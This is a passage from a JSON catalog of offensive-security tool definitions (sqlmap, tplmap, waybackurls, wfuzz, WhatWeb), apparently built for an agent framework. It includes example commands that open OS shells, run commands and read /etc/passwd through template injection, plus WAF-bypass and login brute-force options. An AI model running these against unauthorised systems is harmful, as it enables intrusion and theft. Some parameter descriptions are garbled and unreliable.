        "flag": "--data"
      },
      {
        "name": "dbms",
        "template_key": "dbms",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Force back-end DBMS type",
        "aliases": [
          "--dbms"
        ],
        "flag": "--dbms"
      },
      {
        "name": "dbs",
        "template_key": "dbs",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Enumerate DBMS databases",
        "aliases": [
          "--dbs"
        ],
        "flag": "--dbs"
      },
      {
        "name": "dump",
        "template_key": "dump",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Dump DBMS database table entries",
        "aliases": [
          "--dump"
        ],
        "flag": "--dump"
      },
      {
        "name": "file_read",
        "type": "boolean",
        "required": false,
        "description": "Read file from DBMS file system",
        "aliases": [
          "--file-read"
        ],
        "flag": "--file-read"
      },
      {
        "name": "file_write",
        "type": "boolean",
        "required": false,
        "description": "Write file to DBMS file system",
        "aliases": [
          "--file-write"
        ],
        "flag": "--file-write"
      },
      {
        "name": "flush_session",
        "type": "boolean",
        "required": false,
        "description": "Flush session files for current target",
        "aliases": [
          "--flush-session"
        ],
        "flag": "--flush-session"
      },
      {
        "name": "fresh_queries",
        "type": "boolean",
        "required": false,
        "description": "Ignore query results stored in session file",
        "aliases": [
          "--fresh-queries"
        ],
        "flag": "--fresh-queries"
      },
      {
        "name": "h",
        "type": "boolean",
        "required": false,
        "description": "Show this help",
        "aliases": [
          "-h",
          "--help"
        ],
        "flag": "-h"
      },
      {
        "name": "headers",
        "type": "boolean",
        "required": false,
        "description": "127.0.0.1\")",
        "aliases": [
          "--headers",
          "-Forwarded-For"
        ],
        "flag": "--headers"
      },
      {
        "name": "level",
        "template_key": "level",
        "type": "integer",
        "required": false,
        "default_value": 1,
        "description": "Level of tests to perform (1-5)",
        "aliases": [
          "--level"
        ],
        "flag": "--level"
      },
      {
        "name": "os-shell",
        "template_key": "os-shell",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Prompt for an interactive OS shell",
        "aliases": [
          "--os-shell"
        ],
        "flag": "--os-shell"
      },
      {
        "name": "os_cmd",
        "type": "boolean",
        "required": false,
        "description": "Execute OS command",
        "aliases": [
          "--os-cmd"
        ],
        "flag": "--os-cmd"
      },
      {
        "name": "passwords",
        "type": "boolean",
        "required": false,
        "description": "Enumerate DBMS users password hashes",
        "aliases": [
          "--passwords"
        ],
        "flag": "--passwords"
      },
      {
        "name": "proxy",
        "template_key": "proxy",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Proxy URL",
        "aliases": [
          "--proxy"
        ],
        "flag": "--proxy"
      },
      {
        "name": "random_agent",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--random-agent",
          "-Agent"
        ],
        "flag": "-Agent"
      },
      {
        "name": "risk",
        "template_key": "risk",
        "type": "integer",
        "required": false,
        "default_value": 1,
        "description": "Risk of tests to perform (1-3)",
        "aliases": [
          "--risk"
        ],
        "flag": "--risk"
      },
      {
        "name": "tables",
        "template_key": "tables",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Enumerate DBMS database tables",
        "aliases": [
          "--tables"
        ],
        "flag": "--tables"
      },
      {
        "name": "tamper",
        "type": "boolean",
        "required": false,
        "description": "Tamper script to bypass WAF",
        "aliases": [
          "--tamper"
        ],
        "flag": "--tamper"
      },
      {
        "name": "technique",
        "template_key": "technique",
        "type": "string",
        "required": false,
        "default_value": "BEUSTQ",
        "description": "SQL injection techniques to use",
        "aliases": [
          "--technique"
        ],
        "flag": "--technique"
      },
      {
        "name": "threads",
        "template_key": "threads",
        "type": "integer",
        "required": false,
        "default_value": 1,
        "description": "Number of threads",
        "aliases": [
          "--threads"
        ],
        "flag": "--threads"
      },
      {
        "name": "url",
        "template_key": "url",
        "type": "string",
        "required": true,
        "default_value": null,
        "description": "Target URL",
        "aliases": [
          "-u"
        ],
        "flag": "-u"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "SQLMap GitHub",
        "url": "https://github.com/sqlmapproject/sqlmap"
      },
      {
        "label": "SQLMap documentation",
        "url": "https://sqlmap.org/"
      }
    ],
    "related_tools": [
      "ghauri",
      "commix",
      "sqlninja"
    ],
    "resource_profile": {
      "cpu": "high",
      "memory_mb": 256,
      "network": "medium",
      "disk_io": "medium"
    },
    "risk_level": "high",
    "services": [],
    "techniques": [
      "execution",
      "execution",
      "enumeration"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "sqli-results",
        "database-dump",
        "os-shell"
      ],
      "consumes": [
        "target-url"
      ]
    }
  },
  {
    "_body": "\n# Tplmap — Server-Side Template Injection Exploitation\n\ntplmap is a Python-based tool for detecting and exploiting Server-Side Template Injection (SSTI) vulnerabilities. It supports multiple template engines including Jinja2, Twig, Smarty, Jade, Mako, and FreeMarker, enabling RCE, file reading, and sandbox escape.\n\n## Usage\n\n```bash\n# Basic detection\ntplmap -u \"http://target.com/page?name=test\"\n\n# POST request\ntplmap -u \"http://target.com/submit\" -d \"name=test\"\n\n# Execute command\ntplmap -u \"http://target.com/page?name=test\" --os-cmd \"whoami\"\n\n# Interactive shell\ntplmap -u \"http://target.com/page?name=test\" --os-shell\n\n# Read file\ntplmap -u \"http://target.com/page?name=test\" --read-file /etc/passwd\n```\n",
    "_source": "tplmap.md",
    "allowed-tools": [
      "tplmap",
      "python3",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "web.ssti.shell",
        "description": "Remote shell access via SSTI",
        "mime": "text/plain",
        "trust_level": "verified"
      },
      {
        "type": "web.ssti.output",
        "description": "Command execution output",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Exploitation",
      "Execution"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "web.ssti.detect",
      "web.ssti.exploit",
      "web.ssti.rce",
      "web.ssti.read-file",
      "web.ssti.sandbox-escape"
    ],
    "contract": {
      "inputs": [
        {
          "type": "web.target.url",
          "description": "Target URL with injection point"
        },
        {
          "type": "web.parameter.name",
          "description": "Parameter name to inject"
        }
      ],
      "outputs": [
        {
          "type": "web.ssti.output",
          "description": "Command output or file content",
          "mime": "text/plain"
        },
        {
          "type": "web.ssti.shell",
          "description": "Interactive shell session",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 128,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [
      "python3"
    ],
    "description": "Server-Side Template Injection (SSTI) exploitation tool that automates detection and exploitation of template injection vulnerabilities across multiple template engines.",
    "examples": [
      {
        "description": "Basic SSTI detection",
        "command": "tplmap -u \"http://example.com/page?name=test\""
      },
      {
        "description": "POST request with OS command execution",
        "command": "tplmap -u \"http://example.com/submit\" -d \"name=test\" --os-cmd \"id\""
      },
      {
        "description": "Interactive shell",
        "command": "tplmap -u \"http://example.com/page?name=test\" --os-shell"
      },
      {
        "description": "Read file from server",
        "command": "tplmap -u \"http://example.com/page?name=test\" --read-file /etc/passwd"
      }
    ],
    "execution": {
      "template": "tplmap {flag-data} {flag-cookie} {flag-user-agent} {flag-header} {flag-engine} {flag-os-shell} {flag-os-cmd} {flag-read-file} {flag-level} {flag-proxy} -u {url}",
      "sandbox": "execFile",
      "timeout_seconds": 300,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "remote",
      "stealth"
    ],
    "id": "security-web-tplmap",
    "install": [
      {
        "method": "git",
        "repo_url": "https://github.com/epinna/tplmap.git",
        "commands": [
          "git clone https://github.com/epinna/tplmap.git"
        ]
      }
    ],
    "items": [
      "Shell",
      "NoCreds"
    ],
    "mitre_ids": [
      "T1046",
      "T1190",
      "T1595"
    ],
    "name": "tplmap",
    "namespace": "security:web:tplmap",
    "parameters": [
      {
        "name": "url",
        "type": "string",
        "required": true,
        "description": "Target URL",
        "aliases": [
          "-u",
          "--url"
        ],
        "flag": "-u"
      },
      {
        "name": "flag-data",
        "type": "string",
        "required": false,
        "description": "POST data string",
        "aliases": [
          "-d",
          "--data"
        ],
        "flag": "-d"
      },
      {
        "name": "flag-cookie",
        "type": "string",
        "required": false,
        "description": "HTTP Cookie header",
        "aliases": [
          "--cookie"
        ],
        "flag": "--cookie"
      },
      {
        "name": "flag-user-agent",
        "type": "string",
        "required": false,
        "description": "Custom User-Agent header",
        "aliases": [
          "--user-agent"
        ],
        "flag": "--user-agent"
      },
      {
        "name": "flag-header",
        "type": "string",
        "required": false,
        "description": "Additional HTTP header",
        "aliases": [
          "-H",
          "--header"
        ],
        "flag": "-H"
      },
      {
        "name": "flag-engine",
        "type": "string",
        "required": false,
        "description": "Force template engine (smarty, twig, jinja2, etc.)",
        "aliases": [
          "--engine"
        ],
        "flag": "--engine"
      },
      {
        "name": "flag-os-shell",
        "type": "boolean",
        "required": false,
        "description": "Prompt for an interactive shell",
        "aliases": [
          "--os-shell"
        ],
        "flag": "--os-shell"
      },
      {
        "name": "flag-os-cmd",
        "type": "string",
        "required": false,
        "description": "Execute a single OS command",
        "aliases": [
          "--os-cmd"
        ],
        "flag": "--os-cmd"
      },
      {
        "name": "flag-read-file",
        "type": "string",
        "required": false,
        "description": "Read a file from the server",
        "aliases": [
          "--read-file"
        ],
        "flag": "--read-file"
      },
      {
        "name": "flag-level",
        "type": "integer",
        "required": false,
        "description": "Detection level (1-5)",
        "aliases": [
          "--level"
        ],
        "flag": "--level"
      },
      {
        "name": "flag-proxy",
        "type": "string",
        "required": false,
        "description": "HTTP proxy",
        "aliases": [
          "--proxy"
        ],
        "flag": "--proxy"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "tplmap GitHub",
        "url": "https://github.com/epinna/tplmap"
      }
    ],
    "related_tools": [
      "commix",
      "sqlmap",
      "nmap"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 128,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "services": [
      "HTTP"
    ],
    "techniques": [
      "execution",
      "discovery"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "ssti-scan-results",
        "remote-shell"
      ],
      "consumes": [
        "target-url",
        "inject-parameter"
      ]
    }
  },
  {
    "_body": "\n# waybackurls — Wayback Machine URL Fetcher\n\nwaybackurls is a tool by TomNomNom that fetches historical URLs for a target domain from the Wayback Machine's CDX API, enabling passive discovery of endpoints, parameters, and hidden attack surface without directly interacting with the target.\n\n## Common Pipelines\n\n```bash\n# Find JavaScript files\nwaybackurls target.com | grep \"\\.js$\" | sort -u\n\n# Find endpoints with parameters\nwaybackurls target.com | grep \"?.*=\" | sort -u\n\n# Filter for specific file types\nwaybackurls target.com | grep -E \"\\.(php|asp|jsp)\"\n\n# Extract unique parameters\nwaybackurls target.com | grep -oP \"[\\?&]\\K[^=]+\" | sort -u\n\n# Find Wayback URLs then probe with httpx\nwaybackurls target.com | sort -u | httpx -status-code -title\n```\n",
    "_source": "waybackurls.md",
    "allowed-tools": [
      "waybackurls",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "crawl.txt",
        "description": "Historical URLs from Wayback Machine",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Enumeration",
      "Discovery"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "web.discovery.endpoint",
      "web.archive.url",
      "security.recon.passive",
      "web.enumeration.parameter"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.domain",
          "description": "Target domain to fetch URLs for"
        }
      ],
      "outputs": [
        {
          "type": "crawl.txt",
          "description": "List of discovered historical URLs",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 32,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Tool for fetching historical URLs from the Wayback Machine archive for discovering endpoints, parameters, and attack surface of target domains.",
    "examples": [
      {
        "description": "Fetch all historical URLs for a domain",
        "command": "waybackurls example.com"
      },
      {
        "description": "Fetch URLs and include dates",
        "command": "waybackurls -dates example.com"
      },
      {
        "description": "Fetch URLs from multiple domains",
        "command": "cat domains.txt | waybackurls"
      },
      {
        "description": "Filter for JavaScript files",
        "command": "waybackurls example.com | grep \"\\.js$\""
      },
      {
        "description": "Filter for parameters",
        "command": "waybackurls example.com | grep \"?.*=\""
      }
    ],
    "execution": {
      "template": "waybackurls {target} {flags}",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "compression",
      "file-system"
    ],
    "id": "security-web-waybackurls",
    "install": [
      {
        "method": "go",
        "repo_url": "github.com/tomnomnom/waybackurls",
        "commands": [
          "go install github.com/tomnomnom/waybackurls@latest"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "mitre_ids": [
      "T1046",
      "T1190",
      "T1595"
    ],
    "name": "waybackurls",
    "namespace": "security:web:waybackurls",
    "parameters": [
      {
        "name": "dates",
        "type": "boolean",
        "required": false,
        "description": "Include timestamp for each URL",
        "aliases": [
          "-dates"
        ],
        "flag": "-dates"
      },
      {
        "name": "no-subs",
        "type": "boolean",
        "required": false,
        "description": "Exclude subdomain URLs",
        "aliases": [
          "-no-subs"
        ],
        "flag": "-no-subs"
      },
      {
        "name": "flag-s",
        "type": "string",
        "required": false,
        "description": "File containing list of domains",
        "aliases": [
          "-s",
          "--subs"
        ],
        "flag": "-s"
      }
    ],
    "phase": "recon",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "waybackurls GitHub",
        "url": "https://github.com/tomnomnom/waybackurls"
      }
    ],
    "related_tools": [
      "gau",
      "paramspider",
      "katana",
      "arjun"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 32,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "low",
    "services": [],
    "techniques": [
      "recon",
      "discovery"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "url-list",
        "endpoint-list"
      ],
      "consumes": [
        "target-domain"
      ]
    }
  },
  {
    "_body": "\n# WFuzz — Web Application Bruteforcer\n\nWFuzz is a web application bruteforcing tool for discovering hidden resources, fuzzing parameters, and performing content discovery through HTTP response analysis.\n\n## Basic Usage\n\n```bash\n# Directory fuzzing\nwfuzz -w /usr/share/wordlists/dirb/common.txt -u http://target.com/FUZZ\n\n# Parameter fuzzing\nwfuzz -w params.txt -u http://target.com/page.php?FUZZ=1\n\n# POST data fuzzing\nwfuzz -w users.txt -X POST -d \"username=FUZZ&password=test\" -u http://target.com/login\n```\n\n## Filtering Results\n\n| Filter | Description |\n|--------|-------------|\n| `--hc CODE` | Hide responses with specific HTTP code |\n| `--hl NUM` | Hide responses with specific line count |\n| `--hw NUM` | Hide responses with specific word count |\n| `--hh NUM` | Hide responses with specific char count |\n| `--sc CODE` | Show only responses with specific code |\n| `--sl NUM` | Show only responses with specific line count |\n| `--sw NUM` | Show only responses with specific word count |\n| `--sh NUM` | Show only responses with specific char count |\n\n## Iterators\n\nWFuzz supports multiple payload types via `-z`:\n- `-z list,item1-item2` — inline list\n- `-z range,0-10` — numeric range\n- `-z file,/path/wordlist.txt` — file-based\n",
    "_source": "wfuzz.md",
    "allowed-tools": [
      "wfuzz",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "web.fuzz.output",
        "description": "Fuzzing output results",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Enumeration"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "web.fuzz",
      "web.discovery.hidden",
      "web.bruteforce.parameters",
      "web.content.discovery"
    ],
    "contract": {
      "inputs": [
        {
          "type": "web.target.url",
          "description": "Target URL with FUZZ placeholder"
        },
        {
          "type": "web.fuzz.wordlist",
          "description": "Wordlist file for fuzzing"
        }
      ],
      "outputs": [
        {
          "type": "web.fuzz.results",
          "description": "Fuzzing results with response codes/sizes",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "medium",
        "memory_mb": 128,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Web application bruteforcer for discovering hidden resources, parameter fuzzing, and content discovery.",
    "examples": [
      {
        "description": "Basic directory fuzzing",
        "command": "wfuzz -w /usr/share/wordlists/dirb/common.txt -u http://target.com/FUZZ"
      },
      {
        "description": "Fuzz with POST method",
        "command": "wfuzz -w users.txt -X POST -d \"username=FUZZ&password=test\" -u http://target.com/login"
      },
      {
        "description": "Filter out 404 responses",
        "command": "wfuzz -w wordlist.txt -u http://target.com/FUZZ --hc 404"
      },
      {
        "description": "Show only 200 responses",
        "command": "wfuzz -w wordlist.txt -u http://target.com/FUZZ --sc 200"
      }
    ],
    "execution": {
      "template": "wfuzz -w {wordlist} -u {target}",
      "sandbox": "execFile",
      "timeout_seconds": 600,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdout"
    ],
    "global_vars": {
      "target": "url",
      "wordlist": "/usr/share/wordlists/dirb/common.txt"
    },
    "id": "security-web-wfuzz",
    "install": [
      {
        "method": "apt",
        "package_name": "wfuzz",
        "commands": [
          "apt-get install -y wfuzz"
        ]
      },
      {
        "method": "pip",
        "package_name": "wfuzz",
        "commands": [
          "pip install wfuzz"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "mitre_ids": [
      "T1046",
      "T1190",
      "T1595"
    ],
    "name": "wfuzz",
    "namespace": "security:web:wfuzz",
    "parameters": [
      {
        "name": "b",
        "type": "boolean",
        "required": false,
        "description": "cookie        HTTP Cookie header",
        "aliases": [
          "-b"
        ],
        "flag": "-b"
      },
      {
        "name": "cookies",
        "template_key": "cookies",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Cookie string",
        "aliases": [
          "-c"
        ],
        "flag": "-c"
      },
      {
        "name": "f",
        "type": "boolean",
        "required": false,
        "description": "filter        Filter by response code, lines, words",
        "aliases": [
          "-f"
        ],
        "flag": "-f"
      },
      {
        "name": "follow-redirects",
        "template_key": "follow-redirects",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Follow HTTP redirects",
        "aliases": [
          "--follow"
        ],
        "flag": "--follow"
      },
      {
        "name": "headers",
        "template_key": "headers",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Additional HTTP headers",
        "aliases": [
          "-H"
        ],
        "flag": "-H"
      },
      {
        "name": "hide-codes",
        "template_key": "hide-codes",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Hide responses with these HTTP codes",
        "aliases": [
          "--hc"
        ],
        "flag": "--hc"
      },
      {
        "name": "method",
        "template_key": "method",
        "type": "string",
        "required": false,
        "default_value": "GET",
        "description": "HTTP method to use",
        "aliases": [
          "-X"
        ],
        "flag": "-X"
      },
      {
        "name": "output",
        "template_key": "output",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Output file",
        "aliases": [
          "-o"
        ],
        "flag": "-o"
      },
      {
        "name": "post-data",
        "template_key": "post-data",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "POST data payload",
        "aliases": [
          "-d"
        ],
        "flag": "-d"
      },
      {
        "name": "proxy",
        "template_key": "proxy",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Proxy to use",
        "aliases": [
          "-p"
        ],
        "flag": "-p"
      },
      {
        "name": "recursive",
        "template_key": "recursive",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Recursive scan depth",
        "aliases": [
          "-R"
        ],
        "flag": "-R"
      },
      {
        "name": "req_delay",
        "type": "boolean",
        "required": false,
        "description": "Delay between requests in seconds",
        "aliases": [
          "--req-delay"
        ],
        "flag": "--req-delay"
      },
      {
        "name": "s",
        "type": "boolean",
        "required": false,
        "description": "Silent mode (suppress banner)",
        "aliases": [
          "-s"
        ],
        "flag": "-s"
      },
      {
        "name": "show-codes",
        "template_key": "show-codes",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Show only responses with these HTTP codes",
        "aliases": [
          "--sc"
        ],
        "flag": "--sc"
      },
      {
        "name": "threads",
        "template_key": "threads",
        "type": "integer",
        "required": false,
        "default_value": 10,
        "description": "Number of concurrent threads",
        "aliases": [
          "-t"
        ],
        "flag": "-t"
      },
      {
        "name": "url",
        "template_key": "url",
        "type": "string",
        "required": true,
        "default_value": null,
        "description": "Target URL with FUZZ keyword",
        "aliases": [
          "-u"
        ],
        "flag": "-u"
      },
      {
        "name": "verbose",
        "template_key": "verbose",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Verbose output",
        "aliases": [
          "-v"
        ],
        "flag": "-v"
      },
      {
        "name": "wordlist",
        "template_key": "wordlist",
        "type": "string",
        "required": true,
        "default_value": null,
        "description": "Path to wordlist file",
        "aliases": [
          "-w"
        ],
        "flag": "-w"
      },
      {
        "name": "z",
        "type": "boolean",
        "required": false,
        "description": "type          Payload type (file, list, range, etc.)",
        "aliases": [
          "-z"
        ],
        "flag": "-z"
      }
    ],
    "phase": "enumeration",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "WFuzz GitHub",
        "url": "https://github.com/xmendez/wfuzz"
      },
      {
        "label": "WFuzz documentation",
        "url": "https://wfuzz.readthedocs.io/"
      }
    ],
    "related_tools": [
      "ffuf",
      "gobuster",
      "dirsearch"
    ],
    "resource_profile": {
      "cpu": "medium",
      "memory_mb": 128,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "services": [],
    "techniques": [
      "discovery",
      "enumeration",
      "credential-access"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "fuzz-results",
        "discovered-paths"
      ],
      "consumes": [
        "target-url",
        "wordlist"
      ]
    }
  },
  {
    "_body": "\n# WhatWeb — Web Fingerprinting Tool\n\nWhatWeb identifies websites by recognizing various content management systems, JavaScript libraries, web servers, and other technologies through HTTP response analysis.\n\n## Basic Usage\n\n```bash\n# Simple fingerprint scan\nwhatweb example.com\n\n# Verbose output with full plugin details\nwhatweb example.com -v\n\n# Aggressive scan (level 3)\nwhatweb example.com -a 3\n\n# Scan from file\nwhatweb -i targets.txt\n```\n\n## Aggression Levels\n\n| Level | Description |\n|-------|-------------|\n| 1 | Passive: fast, minimal requests |\n| 2 | Polite: moderate requests |\n| 3 | Aggressive: active probing |\n| 4 | Heavy: intensive scanning |\n| 5 | Complete: all plugins at max depth |\n\n## Output Formats\n\n```bash\n# Verbose log to file\nwhatweb example.com -l verbose.log\n\n# Colored output\nwhatweb example.com --color\n\n# Quiet mode (no banner)\nwhatweb example.com --quiet\n```\n",
    "_source": "whatweb.md",
    "allowed-tools": [
      "whatweb",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "web.fingerprint.report",
        "description": "Technology fingerprint results",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Enumeration"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "web.fingerprint",
      "web.discovery.technology",
      "web.recon.cms",
      "security.fingerprint.http"
    ],
    "contract": {
      "inputs": [
        {
          "type": "web.target.url",
          "description": "Target URL to fingerprint"
        }
      ],
      "outputs": [
        {
          "type": "web.fingerprint.results",
          "description": "List of detected technologies",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 64,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Next-generation web server fingerprinting tool that identifies CMS platforms, frameworks, and technologies.",
    "examples": [
      {
        "description": "Basic fingerprint scan",
        "command": "whatweb example.com"
      },
      {
        "description": "Verbose output with all plugins",
        "command": "whatweb example.com -v"
      },
      {
        "description": "Aggressive scan with level 3",
        "command": "whatweb example.com -a 3"
      },
      {
        "description": "Scan multiple targets from file",
        "command": "whatweb -i targets.txt"
      },
      {
        "description": "Output results to file",
        "command": "whatweb example.com -o report.txt"
      }
    ],
    "execution": {
      "template": "whatweb {target} -v",
      "sandbox": "execFile",
      "timeout_seconds": 120,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "network-intensive",
      "pipes-stdout",
      "remote"
    ],
    "global_vars": {
      "target": "url"
    },
    "id": "security-web-whatweb",
    "install": [
      {
        "method": "apt",
        "package_name": "whatweb",
        "commands": [
          "apt-get install -y whatweb"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "mitre_ids": [
      "T1046",
      "T1190",
      "T1595"
    ],
    "name": "whatweb",
    "namespace": "security:web:whatweb",
    "parameters": [
      {
        "name": "aggression",
        "template_key": "aggression",
        "type": "integer",
        "required": false,
        "default_value": 1,
        "description": "Aggression level 1-5",
        "aliases": [
          "-a"
        ],
        "flag": "-a"
      },
      {
        "name": "aggression",
        "type": "boolean",
        "required": false,
        "description": "default: 1)",
        "aliases": [
          "--aggression",
          "-5"
        ],
        "flag": "-5"
      },
      {
        "name": "cookie",
        "template_key": "cookie",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Cookie string",
        "aliases": [
          "--cookie"
        ],
        "flag": "--cookie"
      },
      {
        "name": "h",
        "type": "boolean",
        "required": false,
        "description": "Show this help",
        "aliases": [
          "-h",
          "--help"
        ],
        "flag": "-h"
      },
      {
        "name": "header",
        "template_key": "header",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Custom HTTP header",
        "aliases": [
          "--header"
        ],
        "flag": "--header"
      },
      {
        "name": "input-file",
        "template_key": "input-file",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Read targets from file",
        "aliases": [
          "-i"
        ],
        "flag": "-i"
      },
      {
        "name": "log-verbose",
        "template_key": "log-verbose",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Log verbose output to file",
        "aliases": [
          "-l"
        ],
        "flag": "-l"
      },
      {
        "name": "no-errors",
        "template_key": "no-errors",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Suppress error messages",
        "aliases": [
          "--no-errors"
        ],
        "flag": "--no-errors"
      },
      {
        "name": "output",
        "template_key": "output",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Output file",
        "aliases": [
          "-o"
        ],
        "flag": "-o"
      },
      {
        "name": "plugins",
        "template_key": "plugins",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Comma-separated plugin list",
        "aliases": [
          "--plugins"
        ],
        "flag": "--plugins"
      },
      {
        "name": "proxy",
        "template_key": "proxy",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Proxy URL",
        "aliases": [
          "--proxy"
        ],
        "flag": "--proxy"
      },
      {
        "name": "q",
        "type": "boolean",
        "required": false,
        "description": "Quick scan mode",
        "aliases": [
          "-q",
          "--quick"
        ],
        "flag": "-q"
      },
      {
        "name": "quiet",
        "template_key": "quiet",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Suppress banner output",
        "aliases": [
          "--quiet"
        ],
        "flag": "--quiet"
      },
      {
        "name": "threads",
        "template_key": "threads",
        "type": "integer",
        "required": false,
        "default_value": 1,
        "description": "Number of threads",
        "aliases": [
          "-t"
        ],
        "flag": "-t"
      },
      {
        "name": "url",
        "template_key": "url",
        "type": "string",
        "required": true,
        "default_value": null,
        "description": "Target URL to fingerprint",
        "aliases": [
          "-u"
        ],
        "flag": "-u"
      },
      {
        "name": "user-agent",
        "template_key": "user-agent",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Custom User-Agent header",
        "aliases": [
          "-U"
        ],
        "flag": "-U"
      },
      {
        "name": "verbose",
        "template_key": "verbose",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Verbose output including all plugins",
        "aliases": [
          "-v"
        ],
        "flag": "-v"
      }
    ],
    "phase": "enumeration",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "WhatWeb GitHub",
        "url": "https://github.com/urbanadventurer/WhatWeb"
      },
      {
        "label": "WhatWeb documentation",
        "url": "https://github.com/urbanadventurer/WhatWeb/wiki"
      }
    ],
    "related_tools": [
      "wappalyzer",
      "builtwith",
      "nikto"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 64,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "low",
    "services": [],
    "techniques": [
      "recon",
      "recon"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "fingerprint-results",
        "technology-stack"
      ],
      "consumes": [
        "target-url"
      ]
    }
  },
  {
